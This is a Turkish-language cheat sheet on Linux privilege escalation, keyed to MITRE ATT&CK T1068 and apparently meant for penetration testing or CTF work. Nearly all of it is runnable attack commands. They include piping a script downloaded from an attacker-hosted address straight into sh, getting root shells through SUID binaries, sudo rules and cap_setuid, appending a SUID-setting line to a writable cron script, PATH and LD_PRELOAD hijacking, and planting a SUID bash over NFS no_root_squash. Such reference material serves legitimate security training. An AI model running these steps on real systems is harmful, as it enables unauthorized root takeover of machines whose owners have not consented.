Skip to content

Linux Privilege Escalation

MITRE ATT&CK · T1068 phase: privilege-escalation

Linux privilege escalation, düşük yetkili bir oturumdan root (veya eşdeğer yetenek) elde etmektir. Amaç rastgele exploit denemek değil; enumeration ile yazılabilir dosya, tehlikeli SUID, sudo kuralı ve capability yüzeyini çıkarıp bilinen sömürü yollarına bağlamak.

Shell → id/uname/mount
Enum → linpeas + manuel (SUID, sudo, cron, caps)
Sömürü → GTFOBins / yazma hakkı → root shell
Terminal window
id
Terminal window
uname -a
Terminal window
sudo -l
Terminal window
find / -perm -4000 -type f 2>/dev/null
Terminal window
getcap -r / 2>/dev/null
Terminal window
cat /etc/crontab
Terminal window
mount
Terminal window
ss -lntup

linpeas · remote fetch

embedded tool
Generated command
curl -L http://10.10.14.5:8000/linpeas.sh | sh

linpeas.sh dosyasını saldırgan makinede python3 -m http.server ile servis et.

Terminal window
python3 -m http.server 8000
Terminal window
wget http://10.10.14.5:8000/linpeas.sh -O /tmp/linpeas.sh
Terminal window
chmod +x /tmp/linpeas.sh
Terminal window
/tmp/linpeas.sh | tee /tmp/lp.out

pspy ile root cron/timer’larını yakala (SUID gerekmez):

Terminal window
./pspy64 -p -i 1000

SUID binary, çalışırken dosya sahibinin (çoğu zaman root) UID’siyle koşar. GTFOBins’te listelenen araçlar shell, dosya okuma/yazma veya library load ile yükseltilebilir. Özel SUID’de strings / ldd / strace ile relative path veya yazılabilir config ara.

Terminal window
find / -perm -u=s -type f 2>/dev/null
Terminal window
find . -exec /bin/sh -p \; -quit
Terminal window
vim -c ':!/bin/sh'
Terminal window
bash -p
Terminal window
sudo -l
(ALL) NOPASSWD: /usr/bin/vim → :!bash
(ALL) NOPASSWD: /usr/bin/find → -exec
(root) NOPASSWD: /usr/bin/python3 → os.system("/bin/sh")
SETENV / env_keep+=LD_PRELOAD → sahte .so
Terminal window
sudo vim -c ':!/bin/sh'
Terminal window
sudo python3 -c 'import os; os.system("/bin/sh")'

SETENV / LD_PRELOAD varsa sahte .so basıp izinli binary ile yükle. Wildcard sudo ve sudoedit için GTFOBins; sudo -l satır satır oku.

Dosyaya yapışık cap’ler SUID olmadan yükseltme sağlar: cap_setuid, cap_dac_read_search, cap_sys_admin, cap_sys_ptrace.

Terminal window
getcap -r / 2>/dev/null
Terminal window
capsh --print
Terminal window
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Terminal window
crontab -l
Terminal window
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
Terminal window
systemctl list-timers --all 2>/dev/null
Terminal window
find /etc /opt /usr/local -writable -type f 2>/dev/null | head
Terminal window
echo 'chmod u+s /bin/bash' >> /path/to/writable-cron.sh

PATH hijack — cron script çağırıyor ama full path yoksa yazılabilir dizine sahte script koy. Wildcard (tar *) için checklist’e bak.

Terminal window
echo $PATH
Terminal window
export PATH=/tmp:$PATH
Terminal window
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
Terminal window
chmod +x /tmp/service

ldd ile yazılabilir .so / RPATH varsa sahte shared object bas.

Terminal window
showmount -e 10.10.10.5
Terminal window
cat /etc/exports
/var/nfs *(rw,sync,no_root_squash)

Saldırgan makinede root olarak mount et, SUID bash bas, hedefte çalıştır:

Terminal window
mkdir /tmp/nfs
Terminal window
mount -t nfs 10.10.10.5:/var/nfs /tmp/nfs
Terminal window
cp /bin/bash /tmp/nfs/bash
Terminal window
chmod +s /tmp/nfs/bash

anonuid=0 benzeri misconfig aynı sınıftadır.

Terminal window
uname -a
Terminal window
pkexec --version
Terminal window
grep -E 'docker|lxd|disk|adm' /etc/group

Eski kernel + bilinen LPE (DirtyCow, DirtyPipe, PwnKit…) yalnızca sürüm eşleşince. Ayrıca: docker/lxd grubu, yazılabilir /etc/passwd, SSH agent forwarding, DB root socket.

  1. sudo -l, SUID, getcap, cron, mount/exports, gruplar — manuel tur.

  2. linpeas + pspy; sarı/kırmızı bulguları GTFOBins ile eşle.

  3. Yazılabilir cron/script/systemd unit’leri payload ile doğrula.

  4. NFS / docker.sock / LXD varsa host/root’a git.

  5. Kernel CVE son çare; önce yanlış yapılandırmadan stabil shell al.

linpeas → NOPASSWD sudo → GTFOBins → root
pspy → writable root cron → reverse root shell
cap_setuid+ep → os.setuid(0) → root
no_root_squash → SUID bash → remote root